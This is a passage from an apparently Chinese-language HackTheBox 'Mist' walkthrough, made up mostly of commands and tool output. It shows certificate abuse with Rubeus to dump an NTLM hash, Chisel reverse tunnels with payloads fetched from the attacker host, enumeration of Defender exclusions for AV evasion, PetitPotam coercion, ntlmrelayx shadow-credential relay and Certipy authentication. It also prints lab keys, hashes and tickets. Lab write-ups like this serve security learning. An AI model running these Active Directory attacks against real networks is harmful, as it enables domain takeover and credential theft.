eD4QN13JAoGBAND72JrdZM3WOlP352jduYiSArMYjE4US7YCm7OXeEW5q2AdwF0u
bF08yjLqd9Tkq0Z189Py8zZOHo3hqKpe2X4PCNBfah5o6NhNazlmOe3Ru3+JSl0r
cSEczzlXz2R5Kg9TYx9Yc2j/7wg+2zdCeucPyse/6ClXDG+i1AG8Rb8DAoGBAPqi
I6y9OgBzbDpFMMQ7fwsiFcthqKDgrUlGRHOv3ViHZXRMZtSdDOfluleMGaWJFs4Y
ocFMQBHTXf7RoskW6mZswU//LYNnciEvMDUvagPkgLri+H5gxy57ELYXd8i8e2PC
remxgVeRT8El7ljTxMuk/LfyV6tmQvaKEt+2jc6fAoGBALwORQZmv3Uyl95DsKt/
CpvIuEEtj+QbA15Pzoi3fvVPdNXTL+0p/z2PnGxg7WBYPX/0WGubrhxqA7itHbfi
DlkPcmD/22BuC0nJsPk/8lT9bHoBszdQBkdDw33YdLn3BlAwO3xTfdc4p4KF/YIm
gq42WcWR/Xpl6Lz0i07ceu69AoGALmV9fSi6aAL18gOE946cAg+ZQUEe2kk9Suc7
HL9dllnaKiFKl+lKzlL0n+hLhx1Nn3Fn4EShR6t9JwLfw6H+Wl+fmZN/dWfc9M+r
eO0CDx5pxi7mGV8JAE2/1jWZ8wsRPHJ5h11YuEEqJnNDICZzs88jCVpPaGdR1hnR
TKCat7kCgYEApszz3TIexyUSnvI6JAp+BUf2ShbeKPuS1jNu4EYpmL4/KT0D8axr
22PxmJNv9l5uIcVnww3qjWF3kLVjr7zD823qrQpfZULgfVAUetaU0o5FoVwdOT0D
UrUVfDdBMFz6ZKJR/HiUwjyc9BwV8L72GPEZgFKm3G2AtPj8cemsdh8=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGDzCCBPegAwIBAgITIwAAAD2XA2Tis5gK5QAAAAAAPTANBgkqhkiG9w0BAQsF
ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEbWlzdDEV
MBMGA1UEAxMMbWlzdC1EQzAxLUNBMB4XDTI0MTAyNzA0NTU0NloXDTI1MTAyNzA0
NTU0NlowVTETMBEGCgmSJomT8ixkARkWA2h0YjEUMBIGCgmSJomT8ixkARkWBG1p
c3QxDjAMBgNVBAMTBVVzZXJzMRgwFgYDVQQDEw9CcmFuZG9uLktleXdhcnAwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDMmk4FwICHdqBrMm7hUjCR+L26
wdnaLVqM8C+beP5I4AUbMATRg6fIRcwtpIyv9gTYCaeOBx3Hxl/pm7mHYR8C+4X4
amOimpYIk2P4f7RiD7hTBJecsI6EJJOxpRdSIGwPy9rbu6GQdX9AVGyO8PrAvGTe
voXrWLKxQ2igJm45PH8ZznXpBCUZtHce1vjjsLnSOZ7iC/DPx+8Hte6NjxNkO5pr
Ui8IBpyAbPjR8KfOUfH89FVI9rOifhVQ8tzctA/aEd/qnS4F2/g3xDXuPPa4JBSt
+uGsZg5KWUBOqb0DMAWiUSjcS0/Pa1LljHlQOngYkJ6l1KESoh9W9GdlrQzdAgMB
AAGjggLpMIIC5TAXBgkrBgEEAYI3FAIECh4IAFUAcwBlAHIwKQYDVR0lBCIwIAYK
KwYBBAGCNwoDBAYIKwYBBQUHAwQGCCsGAQUFBwMCMA4GA1UdDwEB/wQEAwIFoDBE
BgkqhkiG9w0BCQ8ENzA1MA4GCCqGSIb3DQMCAgIAgDAOBggqhkiG9w0DBAICAIAw
BwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFM/E4P91WDE9wzoMyhYA3iFg
v751MB8GA1UdIwQYMBaAFAJHtA9/ZUDlwTbDIo9S3fMCAFUcMIHEBgNVHR8Egbww
gbkwgbaggbOggbCGga1sZGFwOi8vL0NOPW1pc3QtREMwMS1DQSxDTj1EQzAxLENO
PUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
b25maWd1cmF0aW9uLERDPW1pc3QsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlv
bkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBuwYI
KwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1taXN0LURD
MDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bWlzdCxEQz1odGI/Y0FDZXJ0aWZpY2F0
ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwMwYDVR0R
BCwwKqAoBgorBgEEAYI3FAIDoBoMGEJyYW5kb24uS2V5d2FycEBtaXN0Lmh0YjBP
BgkrBgEEAYI3GQIEQjBAoD4GCisGAQQBgjcZAgGgMAQuUy0xLTUtMjEtMTA0NTgw
OTUwOS0zMDA2NjU4NTg5LTI0MjYwNTU5NDEtMTExMDANBgkqhkiG9w0BAQsFAAOC
AQEAHZSz7ubUjAP7IYDKiJHLmkWPuX+Gh80mxJuY+cF8VQLp6vtIkTEZyCRQstP5
+h4SLaJgFbseR1R+lpDQrwVJYB21cfRlpBFuiaCPY0MahzHsqh61apGahDS00D5N
IAPiLSPaZvFEN61H1cvnHsST+QOFufEh/QfacjPi+NCn6Q7QSUISpz77Ymd/CEHB
FP3h7D10VUQE0WfAZ3tUzzjzR3fSSx+KNNJ9rw/B+fe50VSimHuhDu7JR825xPWw
t5GLD8iUH3rOXVWoycRrh9Zj2Smyw3OJwZY/OtBK1TBJGb7sjYt8IM2iPsUYItx6
qWuZ2Ot4CNLD+9k4l8EnUSCBYA==
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:16.2525062
```

``` bash
{12:53}[system: ruby 3.1.2p20]~/hackthebox/machine/mist ➭ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
```

#### dump hash

现在Rubues可以使用它来获取用户的NTLM hash：

``` bash
copy \\10.10.14.22\share\cert.pfx cert.pfx

PS C:\xampp\htdocs\files> .\Rubeus.exe asktgt /user:brandon.keywarp /certificate:C:\xampp\htdocs\files\cert.pfx /getcredentials /show /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2

[*] Action: Ask TGT

[*] Got domain: mist.htb
[*] Using PKINIT with etype rc4_hmac and subject: CN=Brandon.Keywarp, CN=Users, DC=mist, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'mist.htb\brandon.keywarp'
[*] Using domain controller: 192.168.100.100:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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

  ServiceName              :  krbtgt/mist.htb
  ServiceRealm             :  MIST.HTB
  UserName                 :  brandon.keywarp (NT_PRINCIPAL)
  UserRealm                :  MIST.HTB
  StartTime                :  10/26/2024 10:16:47 PM
  EndTime                  :  10/27/2024 8:16:47 AM
  RenewTill                :  11/2/2024 10:16:47 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  yM37+B9tChpECTHSyael8w==
  ASREP (key)              :  D3434540396EA9BE4D8AB361AA8CA14E

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : DB03D6A77A2205BC1D07082740626CC9
```

#### 隧道

考虑到防火墙在80之前封锁了一切，使用[Chisel](https://github.com/jpillora/chisel)创建一个隧道。上传二进制文件，并在主机上启动服务器。从Mist连接到它：

``` bash
Invoke-WebRequest -Uri http://10.10.14.22/chisel.exe -OutFile chisel.exe

PS C:\xampp\htdocs\files> .\chisel.exe client 10.10.14.22:8000 R:socks

root@kali: ~/hackthebox/machine/mist # ./chisel server -p 8000 --reverse                                                                                       [13:20:59]
2024/10/27 13:21:34 server: Reverse tunnelling enabled
2024/10/27 13:21:34 server: Fingerprint 85:a3:f8:c5:3d:55:2d:cb:d3:e2:48:62:8f:57:b6:e8
2024/10/27 13:21:34 server: Listening on http://0.0.0.0:8000
2024/10/27 13:30:49 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
```

``` bash
root•hackthebox/machine/mist» proxychains -q netexec smb localhost                                                                                             [13:31:39]
SMB         127.0.0.1       445    MS01             [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:mist.htb) (signing:False) (SMBv1:False)
```

#### Enumeration
#### SMB

``` bash
root•hackthebox/machine/mist» proxychains -q netexec smb localhost -u brandon.keywarp -H DB03D6A77A2205BC1D07082740626CC9 --shares                             [13:32:02]
SMB         127.0.0.1       445    MS01             [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:mist.htb) (signing:False) (SMBv1:False)
SMB         127.0.0.1       445    MS01             [+] mist.htb\brandon.keywarp:DB03D6A77A2205BC1D07082740626CC9
SMB         127.0.0.1       445    MS01             [*] Enumerated shares
SMB         127.0.0.1       445    MS01             Share           Permissions     Remark
SMB         127.0.0.1       445    MS01             -----           -----------     ------
SMB         127.0.0.1       445    MS01             ADMIN$                          Remote Admin
SMB         127.0.0.1       445    MS01             C$                              Default share
SMB         127.0.0.1       445    MS01             Common Applications READ,WRITE
SMB         127.0.0.1       445    MS01             IPC$            READ            Remote IPC

root•hackthebox/machine/mist» proxychains -q netexec smb 192.168.100.100 -u brandon.keywarp -H DB03D6A77A2205BC1D07082740626CC9 --shares                       [13:33:39]
SMB         192.168.100.100 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
SMB         192.168.100.100 445    DC01             [+] mist.htb\brandon.keywarp:DB03D6A77A2205BC1D07082740626CC9
SMB         192.168.100.100 445    DC01             [*] Enumerated shares
SMB         192.168.100.100 445    DC01             Share           Permissions     Remark
SMB         192.168.100.100 445    DC01             -----           -----------     ------
SMB         192.168.100.100 445    DC01             ADMIN$                          Remote Admin
SMB         192.168.100.100 445    DC01             C$                              Default share
SMB         192.168.100.100 445    DC01             IPC$            READ            Remote IPC
SMB         192.168.100.100 445    DC01             NETLOGON        READ            Logon server share
SMB         192.168.100.100 445    DC01             SYSVOL          READ            Logon server share
```

就共享访问而言。DC的主机名为DC01。我将这两个ip添加到我的/etc/hosts文件：

``` bash
192.168.100.100 DC01
192.168.100.101 MS01
```

#### Creating Machines

一种常见的滥用技术是在域中创建假机器，默认情况下，任何域用户最多可以创建10个假机器。通常我会使用如下方式查询：

``` bash
Get-AdObject -Identity ((Get-AdDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
```

不幸的是，这没有返回任何结果，因为这个主机上没有安装PowerShell AD模块。不过，我可以用LDAP查询做到这一点：

``` bash
PS C:\Windows\system32> $domain = ([ADSI]"LDAP://RootDSE").defaultNamingContext
PS C:\Windows\system32> $searcher = New-Object DirectoryServices.DirectorySearcher
PS C:\Windows\system32> $searcher.SearchRoot = "LDAP://$domain"
PS C:\Windows\system32> $searcher.Filter = "(objectClass=domainDNS)"
PS C:\Windows\system32> $searcher.PropertiesToLoad.Add("ms-ds-machineaccountquota") | Out-Null
PS C:\Windows\system32> $result = $searcher.FindOne()
PS C:\Windows\system32> $result

Path                  Properties
----                  ----------
LDAP://DC=mist,DC=htb {ms-ds-machineaccountquota, adspath}


PS C:\Windows\system32> $quota = $result.Properties["ms-ds-machineaccountquota"][0]
PS C:\Windows\system32> $quota
0
```

这里的结果是0，意味着我不能添加一台计算机。

也可以用netexec和上面收集的hash来检查这一点：

``` bash
root@kali:~/hackthebox/machine/mist
> proxychains -q netexec ldap 192.168.100.100 -u brandon.keywarp -H DB03D6A77A2205BC1D07082740626CC9 -M maq
[-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/mremoteng.py: No module named 'lxml'
/usr/lib/python3/dist-packages/pypykatz/_version.py:11: SyntaxWarning: invalid escape sequence '\.'
  """
[-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/wifi.py: No module named 'lxml'
SMB         192.168.100.100 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
LDAP        192.168.100.100 389    DC01             [+] mist.htb\brandon.keywarp:DB03D6A77A2205BC1D07082740626CC9
MAQ         192.168.100.100 389    DC01             [*] Getting the MachineAccountQuota
MAQ         192.168.100.100 389    DC01             MachineAccountQuota: 0
```

#### AV / AMSI Evasion

注意到AMSI阻止了我的PowerShell执行。Defender在运行：

``` bash
PS C:\> tasklist
...[snip]...
MsMpEng.exe                    848                            0    203,912 K
...[snip]...
NisSrv.exe                    3856                            0      5,424 K
...[snip]...
```

允许从AV中列出web文件夹并不罕见，这里就是这种情况。如果我将webshell复制到C:\programdata，它会复制，但在试图访问它时，Defender会启动并删除它：

所以我会在\xampp\htdocs\中做任何需要避免AV的事情。files目录是一个很好的地方，因为它不受清理命令的约束。

最初解决Mist之后，我发现了这篇文章[Peeking Behind the Curtain: Finding Defender’s Exclusions](https://blog.fndsec.net/2024/10/04/uncovering-exclusion-paths-in-microsoft-defender-a-security-research-insight/)，其中展示了作为普通用户枚举排除路径的方法。他们提到了一个使用事件日志的方法，它在PowerShell中有效：

``` bash
PS C:\Windows\system32> Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" -FilterXPath "*[System[(EventID=5007)]]" | Where-Object { $_.Message -like "*Exclusions\Paths*" } | Select-Object -Property TimeCreated, Id, Message | Format-List


TimeCreated : 2/25/2024 5:36:45 AM
Id          : 5007
Message     : Microsoft Defender Antivirus Configuration has changed. If this is an unexpected event you should review
              the settings as this may be the result of malware.
                Old value:
                New value: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\xampp\htdocs = 0x0
```

MpCmdRun.exe方法确认：

``` bash
PS C:\Windows\system32> & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\xampp\htdocs\|*"
Scan starting...
Scan finished.
Scanning C:\xampp\htdocs\|* was skipped.
```

该目录被跳过了

#### LDAP Signing

``` bash
root@kali:~/hackthebox/machine/mist
> proxychains -q netexec ldap 192.168.100.100 -u brandon.keywarp -H DB03D6A77A2205BC1D07082740626CC9 -M ldap-checker
[-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/mremoteng.py: No module named 'lxml'
[-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/wifi.py: No module named 'lxml'
SMB         192.168.100.100 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
LDAP        192.168.100.100 389    DC01             [+] mist.htb\brandon.keywarp:DB03D6A77A2205BC1D07082740626CC9
LDAP-CHE... 192.168.100.100 389    DC01             LDAP Signing NOT Enforced!
LDAP-CHE... 192.168.100.100 389    DC01             LDAPS Channel Binding is set to "NEVER"
```

#### PetitPotam Attack
#### 策略

由于没有启用LDAP签名，将使用PetitPotam工具强制Windows以MS01$机器帐户的身份验证回给我。这里有两个问题：

1. PetitPotam中使用的web客户端服务没有启动，所以我需要启动它。
2. 这种攻击需要一个DNS名称来表示机器帐户要进行身份验证的位置。不幸的是，没有我可以访问的帐户可以在域上创建DNS记录（这是一个非默认配置，但并非不切实际的配置）。使用隧道来瞄准MS01，并让它返回到我的主机。

一旦克服了这些问题，就可以让MS01$向我的主机进行身份验证了。使用Responder捕获此验证NetNTLMv2 hash，但由于机器帐户通常具有非常强的随机密码，因此这不会提供太多价值。可以将此攻击转发给DC以获得MS01$的访问权限并对该帐户进行更改。通常情况下，会在这里使用RBCD攻击，像在[support](https://0xdf.gitlab.io/2022/12/17/htb-support.html#shell-as-domainadmin)中一样使用假计算机，正如上面所示，无法将计算机添加到域中。相反，将使用ntlmrelayx（来自[Impacket](https://github.com/SecureAuthCorp/impacket)）中的LDAP shell向机器帐户添加shadow credential，从而允许完全破坏MS01。

#### Enable webclient

可以使用c#与[EtwStartWebClient.cs](https://gist.github.com/klezVirus/af004842a73779e1d03d47e041115797)启动服务。保存该文件并使用mono编译它(apt install mono-mcs)

``` bash
root@kali:~/hackthebox/machine/mist
> mcs EtwStartWebClient.cs /unsafe
root@kali:~/hackthebox/machine/mist
> file EtwStartWebClient.exe
EtwStartWebClient.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

PS C:\xampp\htdocs\files> Invoke-WebRequest -Uri http://10.10.14.22/EtwStartWebClient.exe -OutFile EtwStartWebClient.exe
PS C:\xampp\htdocs\files> .\EtwStartWebClient.exe
[+] WebClient Service started successfully
```

有一个清理作业可以非常快速地恢复此操作，因此需要在需要时再次运行它。

#### Tunnel

目前仅限于DC01和MS01。在MS01上启动一条隧道（选择一个任意高端口9001），并将其转发到我的主机上的post 80：

``` bash
.\chisel.exe client 10.10.14.22:8000 22301:127.0.0.1:80
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist2.png)

``` bash
PS C:\Common Applications> curl 127.0.0.1:22301
PS C:\Common Applications> curl 127.0.0.1:22301

127.0.0.1 - - [27/Oct/2024 14:14:00] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [27/Oct/2024 14:14:07] "GET / HTTP/1.1" 200 -
```

#### Attack Without Relay

使用这个[PetitPotam POC](https://github.com/topotam/PetitPotam)与exe和Python脚本。考虑到隧道，将使用Python脚本。以root身份运行，以避免奇怪的Python path/sudo交互，为brandon.keywarp赋予权限，和MS01@22301/whatever的目标作为主机，端口，和一个字符串，这里不重要：

``` bash
root@kali:~/hackthebox/machine/mist
> proxychains python /root/PetitPotam/PetitPotam.py -u brandon.keywarp -hashes :DB03D6A77A2205BC1D07082740626CC9 -d mist.htb 'MS01@22301/whatever' 192.168.100.101 -pipe all
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
/root/PetitPotam/PetitPotam.py:20: SyntaxWarning: invalid escape sequence '\ '
  show_banner = '''


              ___            _        _      _        ___            _
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_|
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)

                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe efsr
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\efsrpc]
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.101:445  ...  OK
Something went wrong, check error status => SMB SessionError: code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND - The object name is not found.
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\lsarpc]
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.101:445  ...  OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe samr
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\samr]
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.101:445  ...  OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe netlogon
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\netlogon]
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.101:445  ...  OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe lsass
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\lsass]
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.101:445  ...  OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
```

#### Relay

现在要把这个验证尝试发回给DC。将使用[Impacket的一个分支](https://github.com/Tw1sm/impacket/tree/interactive-ldap-shadow-creds)，它目前是一个[拉取请求](https://github.com/fortra/impacket/pull/1402)，原因我将在后面解释。运行ntlmrelayx开始收听：

``` bash
root@kali:~/hackthebox/machine/mist
> proxychains -q ntlmrelayx.py -debug -t ldaps://192.168.100.100 -i -smb2support -domain mist.htb
/usr/local/bin/ntlmrelayx.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.10.1.dev1', 'ntlmrelayx.py')
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.12/dist-packages/impacket-0.10.1.dev1-py3.12.egg/impacket
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server

[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
```

现在，启动web客户端，然后像以前一样运行PetitPotam。Ntlmrelayx看到：

``` bash
PS C:\xampp\htdocs\files> .\EtwStartWebClient.exe
[+] WebClient Service started successfully
root@kali:~/hackthebox/machine/mist
> proxychains python /root/PetitPotam/PetitPotam.py -u brandon.keywarp -hashes :DB03D6A77A2205BC1D07082740626CC9 -d mist.htb 'MS01@22301/whatever' 192.168.100.101 -pipe all

[*] HTTPD(80): Connection from 127.0.0.1 controlled, attacking target ldaps://192.168.100.100
[*] HTTPD(80): Authenticating against ldaps://192.168.100.100 as MIST/MS01$ SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000
[+] No more targets
[*] HTTPD(80): Connection from 127.0.0.1 controlled, but there are no more targets left!
```

连接shell

在上面提到的分叉中添加了两个选项：clear_shadow_creds和set_shadow_creds。

``` bash
mist % nc 127.0.0.1 11000
Type help for list of commands

# clear_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108

Shadow credentials cleared successfully!

# set_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108

KeyCredential generated with DeviceID: fa92c37f-7183-c4a3-f386-1accf1db62f2
Shadow credentials successfully added!
Saved PFX (#PKCS12) certificate & key at path: MjKHWVpJ.pfx
Must be used with password: bELGL4DXebmGP91TSYgZ
```

#### Get MS01$ NTLM Hash

这个shadow credential经常被重置，所以使用它来获取机器帐户的NTLM hash。使用[Certipy](https://github.com/ly4k/Certipy)制作一个无密码保护的版本：

``` bash
~/hackthebox/machine/mist certipy cert -export -pfx pNxw0Isw.pfx -password 63VYxDTiyztHbwOQV63D -out ms01.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'ms01.pfx'

~/hackthebox/machine/mist proxychains -q certipy auth -pfx ms01.pfx -domain mist.htb -username MS01\$ -dc-ip 192.168.100.100 -ns 192.168.100.100
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: ms01$@mist.htb
[*] Trying to get TGT...
[*] Got TGT
